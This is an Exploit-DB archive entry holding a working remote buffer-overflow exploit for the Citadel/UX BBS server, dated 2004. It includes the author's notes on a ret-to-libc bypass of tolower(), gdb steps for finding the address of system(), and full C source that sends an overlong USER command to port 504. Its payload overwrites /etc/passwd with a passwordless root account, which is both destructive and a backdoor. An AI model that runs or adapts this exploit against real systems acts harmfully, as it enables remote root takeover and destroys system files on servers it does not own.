Exploit-DB #24339
Description: Citadel/UX 5.9/6.x - 'Username' Remote Buffer Overflow (2)
Type: remote
Platform: linux
Date: 2004-07-30
Author: Nebunu

Exploit:
// source: https://www.securityfocus.com/bid/10833/info
 
A buffer overrun vulnerability is reported for Citadel/UX. The problem occurs due to insufficient bounds checking when processing 'USER' command arguments.
 
An anonymous remote attacker may be capable of exploiting this issue to execute arbitrary code. This however has not been confirmed. Failed exploit attempts may result in a denial of service.

/*
Citadel/UX remote exploit
By nebunu: pppppppal at yahoo dot com
home.ro lamerz erased my nebunu@home.ro address for hosting exploits there..

Citadel/UX is a very well known client/server messaging for BBS which runs on port 504 by default.
It has been discovered that is suffers for a buffer overflow when USER is sent.
The bug was discovered by CoKi,who wrote a PoC denial of service exploit.

I downloaded the source code and performed an audit.The vulnerable function lays in
user_ops.c and it is called getuser().The legal size of an user string is only 64 characters.
When 97 characters are entered then EIP is overwriten and a DoS occurs.

The exploitation is not possible in the trivial way,because of tolower() function that makes 
ineffective any shellcode or return address.
But since i had nothing to do i decided to take a closer look..

root@nebunu local]# cd citadel
[root@nebunu citadel]# objdump -R ./citserver | grep system
08126abc R_386_JUMP_SLOT   system
[root@nebunu citadel]#

So,the ret-to-libc tehnique is possible if the return address of system() and our command string
escapes tolower(),and on many systems it does,like slackware,freebsd and many others i havent tested.

1) How to get system() address for a platform

The above is just an example on my redhat9 distro.It wont work since the
system address contains a 0x42 which is B.

[root@nebunu hack]# cat sys.c

#include <stdio.h>
main()
{
system();
}
[root@nebunu hack]# gcc sys.c -o sys
[root@nebunu hack]# gdb sys
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(gdb) break main
Breakpoint 1 at 0x804832e
(gdb) r
Starting program: /root/hack/sys

Breakpoint 1, 0x0804832e in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x4203f2c0 <system>  // system address here
(gdb) quit
The program is running.  Exit anyway? (y or n) y
[root@nebunu hack]#

Oh,system() address and retaddr offset are supplied by hand,i refuse to 
provide automated tools for kiddies. 

Greetings to : rebel,R4X,Bagabontu,DrBIOS,Aziz,sorbo,(we talked once or twice on #darkircop)

*/

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <netdb.h>

/*
This works only if citadel server is run as root,use your imagination 
and add your own command which will provide you further acces.
Be careful what chars you use for the command,since not all chars are parsable.
*/

#define COMMAND "echo h4ck3r::0:0::/:/bin/bash >/etc/passwd;"
#define BUFFER 93            
#define CITADEL_PORT 504
#define SYSADDR 0x4006be80 //for slack 9.1.0 only,change it
#define RETADDR 0xbffff000 //base for bruteforce,play with this proggie and get the right offset

int main(int argc,char **argv)
{
int i,sock,t,len,n;
char overflow[500],system[8],ret[8];
char egg[500];
int *pt;
struct sockaddr_in addy;

if(argc!=3)
{
printf("\r\nCitadel/UX remote exploit by nebunu <pppppppal at yahoo dot com>\r\nUsage: %s <target ip> <retaddr offset>\r\n",argv[0]);
exit(-1);
}

if(strlen(COMMAND)>90)
{
printf("\r\nCommand string too large\r\n");
exit(-1);
}

/* Lets build the exploit payload */

memset(overflow,0,500);
memset(egg,0,500);
memset(ret,0,8);
memset(system,0,8);
for(i=0;i<(BUFFER-strlen(COMMAND));i++)
overflow[i]='/';
strcat(overflow,COMMAND);
pt=(int *)system;
for(i=0;i<4;i+=4)*pt++=SYSADDR;
strcat(overflow,system);
strcat(overflow,"HACK");
pt=(int *)ret;
for(i=0;i<4;i+=4)*pt++=(RETADDR+atoi(argv[2]));
strcat(overflow,ret);
strcpy(egg,"USER ");
strcat(egg,overflow);
strcat(egg,"\n");
/* And send it */

sock=socket(AF_INET,SOCK_STREAM,0);
if(sock==-1)
{
perror("socket()");
exit(-1);
}
addy.sin_family=AF_INET;
addy.sin_port=htons(CITADEL_PORT);
addy.sin_addr.s_addr=inet_addr(argv[1]);
t=connect(sock,(struct sockaddr *)&addy,sizeof(struct sockaddr_in));
if(t==-1)
{
perror("connect()");
exit(-1);
}
printf("\r\nConnected..OK\n");
printf("Sending exploit code..\n");
write(sock,egg,strlen(egg));
printf("Exploit sent! Now test if succesfull.\n");
}